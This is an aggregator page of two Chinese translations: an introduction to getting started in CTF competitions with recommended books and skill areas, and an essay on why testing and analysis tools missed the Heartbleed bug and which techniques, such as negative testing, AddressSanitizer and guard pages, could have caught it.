Quantcast
Channel: IDF实验室 博译有道
Viewing all 94 articles
Browse latest View live

如何开始CTF比赛之旅

$
0
0

原文:http://www.endgame.com/blog/how-to-get-started-in-ctf.html

翻译:赵阳

在过去的两个星期里,我已经在DEFCON 22 CTF里检测出了两个不同的问题:“shitsco”和“nonameyet”。感谢所有的意见和评论,我遇到的最常见的问题是:“我怎么才能在CTFs里开始?”在不久前我问过自己一样的问题,所以我想要给出些对你追求CTFs的建议和资源。最简单的方法就是注册一个介绍CTF的帐号,如CSAWPico CTFMicrocorruption或是其他的。通过实践、耐心和奉献精神,你的技能会随着时间而提高。

如果你对CTF竞争环境之外的问题有兴趣,这里有一些CTF比赛问题的集锦。挑战往往也是有多种不同的难度级别,注意解决最简单的问题。难易程度是根据你的个人技能的程度决定的,如果你的长处是取证,但是你对加密不在行,取证问题将会成为得分点而相比之下加密问题就会拖后腿。CTF组织者对此有同样的感知,这是为什么对于CTF比赛的评价是很大的挑战性。

如果你已经亲自尝试过几个基础问题且仍然苦恼,现在有很多自学的机会!CTF比赛主要表现以下几个技能上:逆向工程、密码学、ACM编程、web漏洞、二进制练习、网络和取证。可以从中选择并关注一个你已经上手的技能方向。

1、逆向工程。我强烈建议你得到一个IDA Pro的副本,这有免费版和学生认证书。尝试下crack me的问题。写出你的C语言代码,然后进行反编译。重复这个过程,同时更改编译器的选项和程序逻辑。在编译的二进制文件中“if”声明和“select”语句有什么不同?我建议你专注于一个单一的原始架构:x86、x86_64或是ARM。在处理器手册中查找你要找的,参考有:

《Practical Reverse Engineering》

《Reversing: Secrets of Reverse Engineering》

《The IDA Pro Book》

2、加密。虽然这不是我自己的强项,但这里有一些参考还是要看看的:

《Applied Cryptography》

《Practical Cryptography》

Cryptography I

3、ACM编程。选择一个高层次的语言,我推荐使用Python或Ruby。对于Python而言,阅读下《Dive into Python》和找一些你要加入的项目。值得一提的是Metasploit是用Ruby编写的。关于算法和数据结构的计算机科学课也要在此类中要走很长的路。看看来自CTF和其他编程的挑战,战胜他们。专注于创建一个解决方法而不是最快或是最好的方法,特别是在你刚刚开始的时候。

4、web漏洞。有很多的网络编程技术,在CTF中最流行的就是PHP和SQL。php.net网站(译者注:需翻墙)是一个梦幻的语言参考,只要搜索你好奇的功能。PHP之后,看到网页上存在的挑战的最常见的方法就是使用Python或Ruby脚本。主要到技术有重叠,这有一本关于网络安全漏洞的好书,是《黑客攻防技术宝典:Web实战篇》。除此之外,在学习了一些基本技术之后,你可能也想通过比较流行的免费软件工具来取得一些经验。这些在CTF竞争中也可能会偶尔用到,这些加密会和你凭经验得到的加密重叠。

5、二进制练习。这是我个人的爱好,我建议你在进入二进制练习前要完成逆向工程的学习。这有几个你可以独立学习的常见类型漏洞:栈溢出堆溢出,对于初学者的格式字符串漏洞。很多是通过练习思维来辨别漏洞的类型。学习以往的漏洞是进入二进制门槛的最好途径。推荐你可以阅读:

《黑客:漏洞发掘的艺术》

《黑客攻防技术宝典:系统实战篇》

《The Art of Software Security Assessment》

6、取证/网络。大多数的CTF团队往往有“一个”负责取证的人。我不是那种人,但是我建议你学习如何使用010 hex editor,不要怕做出荒谬、疯狂、随机的猜测这些问题运行的结果是怎样。

最后,Dan Guido和公司最近推出了CTF领域指南,会对以上几个主题的介绍有很好的帮助。

(全文完)


如何阻止下一次心脏出血漏洞

$
0
0

原文:How to Prevent the next Heartbleed.docx

翻译:赵阳

一、引言

基于OpenSSL的心脏出血漏洞被认为是CVE-2014-0160的严重问题,OpenSSL被广泛的应用于SSL和TLS插件上。本文用对心脏出血漏洞的解释来说明这个漏洞是怎么被利用的。

本文中研究了抗心脏出血漏洞及其相似漏洞的专用工具和技术。我首先通过简单的测试来分析为什么很多的工具和技术不能发现这些漏洞,这样可以使我们更能了解到为什么之前的技术不能发现这些漏洞。我还要概括总结要点来减少这些的问题。本文不介绍如何编写安全软件,你可以从我的书《Secure Programming for Linux and Unix HOWTO》或是其他的著作中学习到这点,本文中认为您能开发软件。

我的目的是为了帮助防止类似漏洞的出现,从而提高安全软件的开发能力。正如Orson Scott Card’s Ender’s Game中的虚幻人物Mazer Rackham所说的“这里没有老师,只有敌人…只有在敌人那里你才能了解到自己的弱点。”让我们来了解这些漏洞,然后可以避免相似的漏洞再次出现。

二、为什么这个漏洞不能更早的被发现?

这个OpenSSL漏洞是由一个很熟悉的问题引起的,这个关键的问题就是缓冲区读溢出,由于不正确的输入导致。这些都是很常见的问题,很多的工具是专门用来查找这方面的问题,会使用很多工具对OpenSSL进行定期检查。

Kupsch和Miller专门查找了心脏出血漏洞,在这个漏洞被发现之前,使用了很多的方法也没有发现这个漏洞,虽然很多人和工具都用来查找类似的漏洞。他们进一步认识到“心脏出血漏洞对当前的辅助软件提出了重大的挑战,而且我们不知道是否有工具能在这个漏洞被发现之前被使用。”我会强调一些其它的问题和我自己的一些观点。

2.1 静态分析

在没有执行这个程序时的静态分析。

最常用来寻找漏洞的静态分析工具是source code weakness analyzers,source code security analyzers, static application security testing,static analysis code scanners 和 code weakness analysis tools。每个源代码分析工具是通过使用类型匹配的方法来寻找漏洞的。有很多的报告可以评估这些工具。

然而,在之前的时间里使用静态分析工具没有发现这个漏洞:

1、Coverity:Coverity没能在心脏出血漏洞公布之前发现这个漏洞。他们正在通过努力来提高他们的工具的质量,从而在将来能够发现相似的漏洞,使用了一些有趣的新启发方法。

2、HP/Fortify: HP/Fortify已经公布了一些心脏出血漏洞的描述,但是我没有任何的证明能说明他们的静态分析工具在漏洞公布前就发现了这个漏洞,在漏洞被公布后,他们确实是更改了他们的动态测试软件包,但是和之前的不同。在专门讨论这个问题时,他们没有证据让我相信他们的工具真的在心脏出血漏洞被公布之前就发现了这个漏洞。

3、Klocwork: Klocwork在正常的配置下没有能够侦测到这个漏洞。

4、Grammatech: Grammatech 的CodeSonar同样没有侦测到这个漏洞。他们也是通过实验来提升能力,以便在以后能够发现相似的漏洞。

最主要的争议就是这些工具都不能保证能够发现所有的漏洞,甚至不能保证发现特定类型的漏洞。很糟糕的是这些术语很混乱,所以我们首先要搞清这些术语的意思。

本文中在分析软件时,使用的工具不能找到所有的漏洞,但是我找到了这个分析软件的不足。在以前的文章中,很多人使用unsound来描述那些不能找到所有漏洞的来查找漏洞的工具。例如Bessey等人在分析Coverity的静态分析工具,并且说:“像PREfix产品,我们也使用unsound。”我们的产品并没有证明说这是没有错误的,而是尽我们的能力来发现这些问题。这项研究工作中存在很大的争议,虽然它几乎已经成为商业软件和研究项目的实际工具基础。一个unsound术语会导致混乱,因为人们使用program checkers,它使用术语unsound来代替不同的意思。在一个博客上解释了为什么相同术语会有两种相互矛盾意思。“大多数的program checkers来证明定律的程序。特别情况下,主要的目的是在某个方面来证明程序的正确性。一个定律的证明是来证明这个定律的正确与否…人民在程序检查过程中习惯了使用这种做法,所以他们没有考虑bug的存在。但是一个bug的发现者不是要证明这个程序是不对的,而是用来证明有bug存在,使得他们报告了发现的bugs,它们就都变成了真正的bug,如果没有错误,将会忽略bug,因为他们不能证明是否正确。”

本文中我使用了NIST SAMATE SATE V Ockham Sound Analysis标准来消除混乱,在NIST SAMATE用语中,工具是不能发现所有漏洞的,从而证明程序是不完备的。下面来说明NIST是怎么区分程序的可靠性和完整性:“一个网站的代码可能会出问题,一个有bug的网站会有一系列问题,这就是说一些输入会导致问题。一个没有bug的网站不会出现一些列问题,就是说它是安全的或是没有漏洞的…这些可以从一个网站的报告中得知。或者说,一个网站有特殊的问题或是一个网站没有问题…可靠就意味着每一个发现都是正确的。没有必要使用工具产生每个网站的报告;这是完整的。”

为什么那么多的源代码分析工具是不完整的?首先,大多数的程序语言不是很容易能被分析的。其次,大多数的软件使用静态分析工具来分析也是很不简单的。最后,完整的分析工具要求更多的人来应用在程序上。相反,不完整的分析工具能够立刻应用到程序上。他们成功的使用启发的方法来鉴定漏洞和在有限的时间里来完善分析。但是,这里会有重要的警告:不完整的代码分析工具常常会漏掉漏洞。

心脏出血漏洞是一个鲜明的使用不完全的启发方法不能发现的重要漏洞的例子,不能发现这个重要漏洞的最主要原因就是OpenSSL代码很复杂;多个层次的间接寻址和超出了工具的分析能力,从而不能发现漏洞。局限性和深层次存在的原因是C, C++和Objective-C都很难使用静态分析;像指针更难使用静态管理。这并不是意味着静态分析工具就是没用的,静态分析工具能够测试软件在大量的输入后的表现,工具的启发原理会限制错误报告的出现次数。但是更重要的是不完整的静态分析工具使用了启发原理后,在分析大的漏洞时会出现错误。

2.2 动态分析

动态方法就是使用特定的输入来运行一个程序并试着发现漏洞。

动态分析局限性是它不能使用时间表来测试任何程序。如在一个琐碎的程序中加入了64bit的整数,会有2128种可能的输入,测试这些输入就要使用13.5十万亿亿年的时间。甚至大规模的并行计算也不能解决这个问题。现实中的程序要比这复杂的多,因此动态方法不能体现一个程序的安全性;他们只能显示在测试中存在漏洞。

但是这并是意味着动态方法就是没有用的。动态方法在提升安全性上是很有用的,但是要了解到他们的局限。

让我们来分析我们广泛使用的两种方法,但是不能发现心脏出血漏洞: mostly-positive测试和fuzzers。

2.2.1 mostly-positive自动测试套件

一个方法是开发一个强大的自动化测试套件。Eric S. Raymond和一些其他人在研究心脏出血漏洞时,他的表述为:“我认为很多人都认为这个测试套件不能很好的工作…我以前学到了尽量去推进传统方法来完成你不能达到的程度。”我同意他的观点,一个好的自动化测试套件是很强大的,特别是应用于非安全性缺陷时。如果你没有或是开发一个,就完全的停止,我们表示同意。

但是,测试套件能否发现心脏出血漏洞要依靠你是怎么开发的这个套件。很多的开发人员都开发了测试套件,这个套件主要是我说的“mostly-positive”测试套件,它可能不能发现心脏出血漏洞。后面我将会讨论negative测试,这种测试方法可能会有作用,但是我们要知道为什么一般的测试方法不能做到。

很多的开发者和组织者专门测试了正确的输入时会发生什么。当你这样思考时就更有意义;一般的使用者都会抱怨在正确的输入时是否会没有正确的输出,并且大多数的使用者不会测试在不正确的输入时程序会有什么结果。如果你的目的是很快的分辨出问题,在大多数的情况下,在正确的输入时人们会努力控制能够预测的错误条件。很多的开发人员不能思考到当入侵者发送精心设计的输入来利用程序时会发生什么。

我会使用mostly-positive测试套件的方法来测试在正确的输入时会发生什么。不幸运的是,在很大程度上,今天的软件入侵测试套件都是mostly-positive。都在关注开发mostly-positive测试套件的测试。

1、Test-driven development(TTD)是一个软件开发过程,“开发者写了一个自动测试工具来提升和增加新的功能,之后使用最少数量的代码来通过测试,和最终生成新的代码的接受标准。”通常情况下这些测试是用描述一个新功能要做什么,而不是他们不能做什么。

2、当很多的标准链接在一起,交互式测试就会决定他们是否能够链接和分享数据。交互式测试能够很好的帮助开发者来提高一个协议标准。但是其他的实施方法也能遵守这个规则,其他的实施方法不能够完成“什么不发生”的测试。

mostly-positive测试实际上对于安全软件来说是没有用的。mostly-positive测试一般不能测试正确的事物。对于心脏出血攻击和其他的攻击,攻击者发送数据用不是平时用的格式。TTD和交互式测试都是好工具...但是你需要加强他们来改善安全软件。

代码覆盖工具对漏洞的发现没有任何的帮助。一个开发者可能会运行代码覆盖工具来看下哪些程序没有被测试,之后增加测试来达到大部分的代码被测试。当测试套件测试了80%-90%的代码时,很多人会很高兴;一般很少会达到100%的覆盖。测试覆盖工具有某种安全价值,例如,他们有时能够侦测到等待出发者的恶意软件,他们也能够核查是否有特别的程序能够正确的运行。但是使用典型的代码覆盖工具测试到100%的覆盖,不能对抗心脏出血漏洞。心脏出血漏洞缺少恰当的输入验证。基本上,一个代码覆盖工具不能注意到丢失的代码;只能注意到没有测试的代码。

我要说在OpenSSL里也不会有例外出现,又如在苹果的iOS设备上运行SSL/TLS得到了错误的结果时,也能通过mostly-positive来证实它的测试。在这个漏洞中,SSL/TLS库接受了有效的证明。然而,没有人验证这个库能拒绝某些无用的验证。如果你只是测试是否有效的数据会产生有效的结果,你就不能发现安全漏洞,因为大多数的攻击都是在基于程序没有准备好的时候输入。

如果你开发的套件能使用我在下面描述的方法,你能够通过一个好的测试套件来发现这个漏洞。首先,让我们来研究fuzzing。

2.2.2 Fuzzers 和fuzz测试

Fuzz测试是一个随机输入,之后发送到程序测试去看是否出现不渴望的过程。进行fuzz测试的软件叫Fuzzers。

Fuzz测试同传统的测试不同,在传统的测试过程中,你会有一个给定的输入组,并且你知道每个输入对应的输出情况。传统测试会随着测试数据的增加而变得更复杂,因为你要预测渴望的输出结果。决定输出想要的输出结果是一个Oracle机制。使用一个Oracle的数据作为输入的问题被叫做Oracle problem。

Fuzz测试处理不同的Oracle problem,因为它只是在试图侦探能使程序崩溃的问题。这就是使它在Fuzz测试中输入更多的测试数据,即使输出测试更不准确。Fuzzing测试方法是1988年Barton Miller在University of Wisconsin开发的。在http://pages.cs.wisc.edu/~bart/fuzz/上有更多的有关fuzz测试的信息。

Fuzzers经常用来发现安全漏洞,因为他们能够测试大量不可想象的输入。特别是,Fuzzers常用来发现输入验证的问题,心脏出血漏洞就是在输入验证错误的基础上产生的。但是典型的Fuzzers不能发现心脏出血漏洞,因为:

1、心脏出血漏洞是由于缓冲区读入溢出,而不是缓冲区写入溢出的漏洞。大多数的Fuzzers只是发送大量的数据和寻找程序的崩溃。但是,当缓冲区写入溢出常常会导致崩溃,缓冲区写入溢出在正常的环境里是不会崩溃的。在Fuzzing过程中,甚至会使用一些对策来解决写入溢出,而不是读入溢出,如canary-based保护方法和非执行堆栈。可靠性不是很大的问题,因为存在方法是出入溢出导致崩溃,或使用其他的测试工具来测试…这会给我们带来第二个问题。

2、OpenSSL包括它的内存分配路径,并且除非使用特别的调试方法,不然我们会经常使用他们。更糟糕的是这些特别的方法不能正常工作。特别是,OpenSSL使用它自身的应用程序管理缓存来提高性能时,而不是简单的依靠内存管理路径。这种应用程序管理缓存可以阻止许多典型的缓存例程,包括测试工具如electric fence、valgrind和address sanitizer。这就意味着使用fuzz测试来测试缓存的路径问题时,测试会忽略一些特殊的情况。

因为加密技术能在很大程度上减少fuzz测试的无效性,除非fuzzer有密码和专门用来袭击的密码库。有一些fuzzing不能在OpenSSL和一些密码库下严格执行的推测应该是正确的,然而,没有什么能阻止密码被fuzzers获取。除此之外,心脏出血漏洞甚至在没有密码的情况下被发现。因此,就是在读出溢出和OpenSSL使用自身的内存缓存分配路径的联合使用时,使fuzzing变的无效。

三、用什么来对抗类似心脏出血的漏洞?

这里有部分在先前可以对抗心脏出血漏洞的软件和工具,我会特别的介绍一些好用并且免费的自由开源、源代码软件。

首先是一些说明:

不要只用一种工具或一种技术来开发安全软件。开发安全软件要集合很多的方法,最开始要知道怎么开发安全软件。大多数的组织最初是使用简洁清晰的方法来开发安全软件,启用和注意编辑器的警告标志,使用源代码弱点分析工具,让多人进行研究,运行fuzzers,使用大量的自动入侵工具套件。如果你只是使用一种技术,你只能对抗上一次攻击而不是这次。例如,会大量的忽略掉警告标志,即使是警告标志不能发现心脏出血。那就是说,当攻击成功时,最重要的是怎么完善软件,攻击者可能如使用一样的方法来入侵软件。更好的改进也能对抗其他的攻击。

这不存在一种类型的工具和技术的列表,不同的工具有不同的用途。可以在[BAH2009] [NIST]上了解更多关于各个类型的工具和技术。我创建了这个特别的列表,但是我要尽量清楚我的意思。

先前没有一个明确和完整的用来发现心脏出血漏洞的工具和技术的列表,我很想做一个,我希望得到更好的建议。

以上是一些说明,先前是什么在对抗这个漏洞的,为了完成这个,我已经大致的完成了这个列表,用最简单的方式介绍他们。这是最粗略的,会有一些问题;欢迎来改进。使用更多的方法来对抗其他类似漏洞,不只是心脏出血。使用动态和静态分析法来识别在括号里的副标题。

3.1 使用negative测试(动态分析)

negative测试会得到错误的结果。例如,对于一个设置了密码的系统来说,在知道有效的用户名和密码时,要通过很多次的回归测试才能登录成果。negative测试会显示很多无用的用户名和密码,其他的无效的输入会阻止用户登录。

通过negative测试方法创建了一系列的使用错误输入的测试。我指的是每个类型的输入,因为不能测试每一个输入,在动态测试中能得到解释。在回归测试工件中要包含无效数值来测试每一个输入,每个状态/协议转换,每个使用说明书等等。这就会立刻发现心脏出血漏洞,因为心脏出血漏洞包含一个不正确数据的长数值。这也会发现其他类似CVE-2014-1266的错误,如在苹果iOS上使用SSL/TLS会得到的错误。在CVE-2014-1266中,iOS存在接受无效认证的问题。很多的测试中存在有效的认证…但是,没有足够的测试来测试无效的认证。

在大多数情况下只有negative测试对安全还有点用途,之前,我注意到重要的是如何创建测试套件。对于阅读本文来说是明显的,特别是,当我怀疑Eric S. Raymond在讨论测试的优势时使用这些类型的测试。但是这对于软件的开发者来说是明显的,大多数的开发者和组织者都是在使用mostly-positive test套件。很多的开发者很难像攻击者一样的思考,只是错误的通过广泛的测试不可能发现的原因。

通过negative测试的就是起初的半自动的过程,您可以开发出可以执行计算机可处理的规范,并生成大量测试结果的工具…之后看看是否可以控制它。

另一个使用negative测试的重要条件就是是否有一个标准,可能合作开发一个独立的普通测试工件作为FLOSS项目。之后可以通过快速测试所有当前和以后要执行的方法,并且阻止使用者遇到问题。我强烈的推荐使用SSL/TLS协议开发一般目的测试工件;不然会减少效果,这会增加应用的安全性。单独的应用也需要使用附加测试来补充单一测试,但是一般的大测试套件是很有用的。

软件测试是一个完整的领域。存在着不同类型的测试方法和测试范围标准。我只能在本文中总结测试。更一般的信息可以看下Paul Ammann and Jeff Offutt 的Introduction to Software Testing。但是要理解这个:只用使用有效的输入来测试来发现这多的问题,如心脏出血漏洞。

我不知道在整个negative测试中依靠什么,或是其他什么单独的技术,对于安全来说。动态的方法很自然,在真实输入空间只能测试一个微不足道的部分。但是这种方法很容易发现安全漏洞。

3.2 地址核对和标准内存分配在fuzzing

不幸运的是一般的fuzz测试方法在这种情况下是不能很好使用,但是我们可以学习简单的过程。如果可以使fuzzing对一系列的地址进行有效果的、容易的核对和使用。这种类型的工具能侦测到在执行过程中读溢出和加写溢出,并且常常发现其他的存储问题。

许多的工具能够完成对地址的核对;每一种工具都有两面性。但是,如果你没有使用其他的什么工具,我强烈的建议你尝试下address sanitizer。

address sanitizer简单有效;它只是一个在LLVM/clang和gcc中建立的附加的标志。address sanitizer没有什么神奇的;它只是擅长侦测缓冲区的读写溢出问题,释放后使用或是双重释放。它也能侦测到use-after-return和存储泄漏。它不能发现所有的存储问题,但是这是一个很好的工具。它的表现超出平均的73%,使用2x-4x的存储。这种表现一般和测试环境是无关,在侦测这些问题时它很少被提到,在测试过程中Chromium和Firefox网页浏览器都使用的address sanitizer。要了解更多可以去看USENIX 2012或是address sanitizer网页。

还有其他的工具能够侦测内存的使用和分配地址的问题。很多人使用guard pages来检测读和写在缓存。Valgrind被广泛使用和广受欢迎;valgrind在检测内存时能发现很多的问题包括在堆栈中读溢出。另一个广泛使用的工具是electric fence。在运行不同的fuzzer时可以使用不同的工具。

一般情况下,使用fuzz测试时你必须打开你能打开的所有的探测设备。第一个fuzzer侦测时使用这种机制“没有改变的程序崩溃或是死掉?”并且很多的fuzzer还只能做这个。你必须要加强程序的访问,并且要开发尽可能多的访问。你可以增加额外的核对来确保中间和最终程序语句的正确。要不是心脏出血漏洞的出现,你至少应该打开无效的内存访问探测器,如address sanitizer。

许多的工具包括address sanitizer和基于程序的guard page,要求这些程序具有测试正常分配和释放内存的能力。特别是,程序没有必要使用符合分派准测的机制。至少,这个程序应该可以轻松地使用正常分配方法用于fuzz测试。

一个相对的方法是concolic测试,CREST就是一个基于C的concolic测试的自动测试过程工具。但是CREST目前只能用于象征性为线性整数的运算,所以它能在这种情况下工作。更一般的是现在的concolic测试工具不可能发现心脏出血漏洞。如果哪个人说他确认concolic测试发现了心脏出血漏洞,请让我知道。

大家一直都在为fuzzers是否比negative测试复杂而争论不休,但是这只是我的推理。negative测试的一个优点是它很容易入手;假设你已经有了一个测试套件,你就可以开始negative测试。更重要的是negative测试能快速给出一个模糊导致问题的答案,他们要求计算能力很少的开发者使用每一种方法来获得重复测试套件。相反,fuzz测试要求更好的计算能力和对结果的解释;计算能力不算什么,这会影响到对开发者的反馈速度。一个潜在的更快negative测试的反馈能够是开发者更快的实现检测和修复;今天最大的问题就是开发者的时间,而不是计算时间;一个最好的机制能减少开发过程的复杂度。你也可以在某个特定的协议下,使用negative测试套件;你能够在每个测试设备和实施方法中轻松的重新使用测试套件。当然,这不存在什么冲突;最好使用fuzz测试和negative测试两种方法。

3.3 编辑内存分配标准和使用address guard或是sanitizer

如果在对抗来自潜在的漏洞攻击,在未知的环境里你现在就要使用一个程序怎么办呢?

一个方法就是使用侦测在分配的内存的最后区域来实现读的机制,但是使用这种方法你不能改变测试怎么运行;这个观点就是你实际上用的在一个分配要求下的多重分配机制。

存在运行时间侦测漏洞的多种机制;这就是一些例子:

1、Address sanitizer。你要重复调试一个程序时可以使用它。在LLVM/clang和gcc编辑器上Address sanitizer就是一个标志,这相对与C程序的软件简单的多,这占了平均运行的73%,和2x-4x的存储。这不是你想只能手机上做的,很多繁忙的网站不欢迎这些。现在的计算机比过去的有更好的能力和存储,一些环境中就会被接受…这就是你能够立刻对抗未知攻击的可能性。Address sanitizer在侦测一长系列潜在问题上很有作用,包括大量无效的缓冲区访问。Address sanitize不是在所有的编辑器里都无效;这要在其他的如C, C++, 和Objective-C编辑器中来添加它。

2、Intel Memory Protection Extensions。MPX新增了叫边界寄存器的寄存器来控制指针的边界,使用新的指令来运行和使用边界。MPX使用Skylake架构,但是在2014年这些CPU不能和公众见面。这要更长的时间被广泛的得到使用,那不能组成non-Intel系统。

3、内存分配保护页面。一些系统内存分配能够在分配一个用来组织读和写的内存后,添加一个未定的保护页面。这些能否会禁止和阻止心脏出血漏洞,这些取决于它是如何实施的。OpenBSD的malloc的实施支持保护界面。在OpenBSD中,G选项会导致“使用保护页面后的每个页面分配到的数据大小过大,这些会导致访问错误。”这会与P选项进行组合来移动一个页面内的分配。OpenBSD机制可以启动特定的程序,甚至是特定的默认情况下,在整个系统中启动,这样就可以在更多的环境下得到保护。OpenBSD的malloc机制有一个弱点:即使开启G和P两个启动项,少量的分配不会立刻完成保护页面。如果OpenBSD的保护界面机制能够在较少量的分配后立刻插入一个保护页面,我认为会更好,即使这可能会对速度和内存大小有很大的影响。但是即使是这样,开启G和P就意味着所有大于半页的分配会立刻跟随一个保护页面,并且分配一个半页或是更少将会泄漏半页。这就会明显的减少泄漏规模,相比于原来心脏出血漏洞攻击时泄露的64K。内存分配必须要对齐,所以保护页面可能泄漏一些字节的信息,这就取决于如何实施的。我怀疑Address sanitizer要比增加保护页面的分配快,但是添加保护页面不要求更多的程序来进行重新编译,这就是它的优势。不幸运的是GUN的libc中malloc不能有附加的这些功能。

当然,这种方法假设你有一个能启动(1)的内存保护机制和(2)内存保护机制也会在这种机制下工作。很多的机制可以对抗缓存写溢出,不是缓存读溢出,心脏出血漏洞就利用了读溢出。例如:GUN的libc中的malloc()可以选择MALLOC_CHECK_。这就是防止写溢出的方法,但是我不认为它能对抗类似心脏出血的读溢出。同样,Dmalloc’s fence-post检测“在程序从这个区域中读取时不能注意到,只有在写入时才会有通知。”我觉得GUN的libc和一些类似的运行过程中也要增加类似OpenBSD的malloc的保护页面机制,从而对抗读溢出。

这是一个可以减少伤害的方法,而不是一个消除个问题的办法。从安全的角度来看这种方法把缺少保密变成了缺少实用。然而在很多的情况下这是一个很好的协议。一旦受到攻击,这个方法就会使问题变成可视化的,一旦问题可视化后就变的很好改正了。

这个方法很容易和honeypot或honeynet联系在一起。在honeypot或honeynet系统上设置这些硬化的方法。如果攻击者试图破坏软件,这个软件不会崩溃,并且会记录下攻击者的重要日志和追踪记录。Forensics就会侦测到一些专门利用一日0攻击。我认为通过一些日志记录结合入侵侦测系统来进行追踪;在硬化密码库中发生了崩溃,就会特意的记录下。这就会使普遍的侦测利用一日0攻击更加的容易。分布核心基础设施组织和在互联网上其他组织都可以建立这些类保护我们。

虽然这种方法并不能完全解决这个问题,但是他能提供一个有力的缓解功能。一些发行者或组织可能需要在特定情况下使用这些措施,或至少使这些措施变得更容易。

修改代码不会很复杂,并且重新编译也是很简单的。不过,在很多的设备上性能的欠佳都体现的很显著,可能是你失去了硬件后的性能。特别是在使用Address sanitizer时,你会失去一半的速度。因此,我指望使用这种复杂的解决方法,就要考虑到硬件的消耗。在很多的情况下,会影响到运行,在智能手机上就会降低运行速度和电池的寿命,对于当前流行的服务器的话,也会减慢反应速度和增加电量的消耗。如果将来的CPU能支持Address sanitizer,对速度的影响就会显著的降低了。我希望CPU制造商能考虑下这点。

3.4 关注各个领域的手动检测验证

漏洞的代码是人为审查的,显然只有一个人来审查是不行的。

然而,大量的工作就要有专门的人来检查每个领域,为确保得到有效的验证,有时会在计算机安全中得到一个不好的名字。我怀疑的原因之一就是有时候,那些部署清单的人在做什么,之后也不能很好的利用它。但是出色的飞行员经常使用仪表盘,他们知道是做什么的。如果补丁是他们使用清单上工具后的唯一成果,“必须证明每一个不可信的数据字段进行验证,”之后这个漏洞被反击。

列入人为检查/审计的一部分,和一些简单的方法不同。然而,这确实要就检测人能了解所有的补丁,它不能依靠以前的代码来得到帮助。

3.5 对文件包括注解系统的配置源代码的弱点分析

传统的源代码弱点分析是找不到心脏出血漏洞,因为他们使用的是通用的启发式方法,代码复杂,在这种情况下不能很好的起到作用。它总是你能看到的最简洁的代码,但是基于你要完成的任务总是会有一些复杂性,真实情况下人类是不能达到完美的简约。Coverity公司正在开发一些新的,他们认为能够检测到心脏出血漏洞的启发方法…并且对他们是有好处的。至少有一个人已经使用了类似的启发方式。事实上,我希望所有的代码分析工具都能得到改善,从而发现他们以前不能发现的漏洞。但通用的启发方式在某个特定的时间点只能达到这个程度,你能做的更好吗?

回答是肯定的,它叫做为上下文配置的源代码弱点分析工具。基本思想是,你开始使用一个恶源代码弱点分析工具,之后你在提供更多的你要分析的程序的信息。这种方法比仅仅运行源代码弱点分析工具需要更多的时间,而这些额外的信息通常要和一个特定的工具联系在一起。然而,提供你需要的程序的信息,源代码弱点分析工具可以能更好的工作。

Klocwork已经表示这种方法对心脏出血漏洞是很有效的。

现在让我们来谈谈注释系统。在很多的地方来为静态分析工具提供这种额外的信息。一个常用的方法就是对程序添加额外的注释机制,在修改程序时会使用他们。这些注解可能在更改的代码中进行添加,添加在注释中,或是加在单独的文件里。使用C的工具或是注解包括Microsoft’s SAL、splint、Deputy、Oink/CQual++、cqual、和Frama-C ANSI/ISO C。你可以很容易得出添加这些信息确实是一个不同的技术。

认真的使用这些额外的注解来对抗漏洞就要有很大的工作量,如果从现存的代码来说。对于C来说存在许多不同的不兼容的注释系统。对于他们来说是没有什么标准的,这会进一步的阻碍他们的使用。毕竟,它需要添加注释和这些注释会把你锁到一个特定的工具中;Microsoft SAL会有更多的问题,没有FLOSS的应用和这只能在Windows上使用。我认为如果针对每个主要的编程语言包括C在内,任何一种单一被广泛接受的标准注释符号,注释系统将会更加广泛的应用。当没有这么个符号时,像C语言等语言就会很难得到那样一个协议。Peter Gutmann已经写了一些他的经历。

但是,注解系统是由一些好处的,注解系统能够发现简单的漏洞,不用在转变成不同的语言。他们也很少去转变成不同的语言,当然,这并不冲突;你可以切换语言,使用一种新的语言在注释系统中。

3.6 实现100%的分支覆盖率

或许有另一种方法可以发现心脏出血漏洞,实现100%的分支覆盖率。如前面所述,在一个缺失特定程序的中输入有效的验证码时,分支测试是不检测到的。但是分支覆盖可以在不同的实现方法中检测未经验证的分支程序。努力实现一个测试套件,让多个实现全覆盖分支大大增加了丢失了验证码和遗漏了异常处理时被检测到的可能性。更强的测试覆盖措施也会工作的很好,如修改条件/判定语句。

这个测试套件必须要包含多个应用,实现100%的分支覆盖。更重要的是,有不同的实现方式,效果更好。最终,用一个特别的方法来发现漏洞。此外,这种方法比其他的方法更难发现安全漏洞。可能是因为在相同的路径下输入不同的数值,但是只有小部分可以引起问题。如果在测试中其他的一种方法实施了特定的组件和实现了潜在的缺失验证码的代码,它也只能有作用。我从来没有在其他的文献中见过这个特定的方法;人们通常讨论一个执行分支的覆盖。不过,会注意到这种方法不仅可以提高能力,也能发现特殊的漏洞。

实现100%的分支覆盖率比彻底的negative测试更加复杂,这是因为如果你有个很差的测试套件,它会花费大量的时间来从一个错误的分支转向,来弄清楚怎么激发它。错过的分支往往是很难触发的在特定错误的处理系统中,或是对无法验证“不会发生”的分支作防御性设计。此外,这个套件变得更强大能够实现100%的覆盖;很多的组织不能尝试增加一个单一的方法来使分支覆盖到100%,不关心100%的分支覆盖。

这就存在一个问题:这不能很好的反击心脏出血漏洞,因为在很大程度上取决于所有的配置扩展或是注解以及怎么使用。在另一方面,它们不取决于完全冲击的正确输入;静态分析工具可以同时检测大量的问题。

3.7 攻击运行认定

软件开发人员积极的插入和开启运行认定。有人猜测这是对心脏出血的反击,所以我将在这里研究下这中可能性。

软件开发人员可以断言各种价值关系和状态必须是正确的。这些断言可以在运行时停留。几乎所有的语言都会有一种内置的判断机制,有些语言会有一些内置的先进机制的前置条件,后置条件和不变量。在某些情况下,这些语言可以优化一些判句,会留下一些在优化过程中不能优化的问题,一个注解系统可以用静态来实现,一部分可以用动态实现;我先前对注释系统的静态应用的评论。

暂时增强系统逻辑断言是一个更为先进的使用暂时断句的研究方法。你可以在http://www.cl.cam. ac.uk/research/security/ctsrd/tesla/.网站上发现更多的信息。

不用怀疑断句可以有一个极好的机制来用于检测无效状态,无效状态有时是一个最弱的指标。

然而,这中方法在涉及到对抗心脏出血漏洞时确实有些不足。不论是原开发商或是检查的人意识到检查请求报文的长度值是很重要的;因为没有使用长度检查,开发者是不能添加判据来检查它。这是一个在进行negative测试时的问题,但是negative测试可以通过分割这些要开放的功能的代码来简单的实现,很容易证明所有的数据字段都在进行检查,所以我感觉negative测试会更有可能发现存在漏洞的类型。因此,虽然积极的注释可以很有效的对抗漏洞,在某种程度上它会在特定的情况下工作。

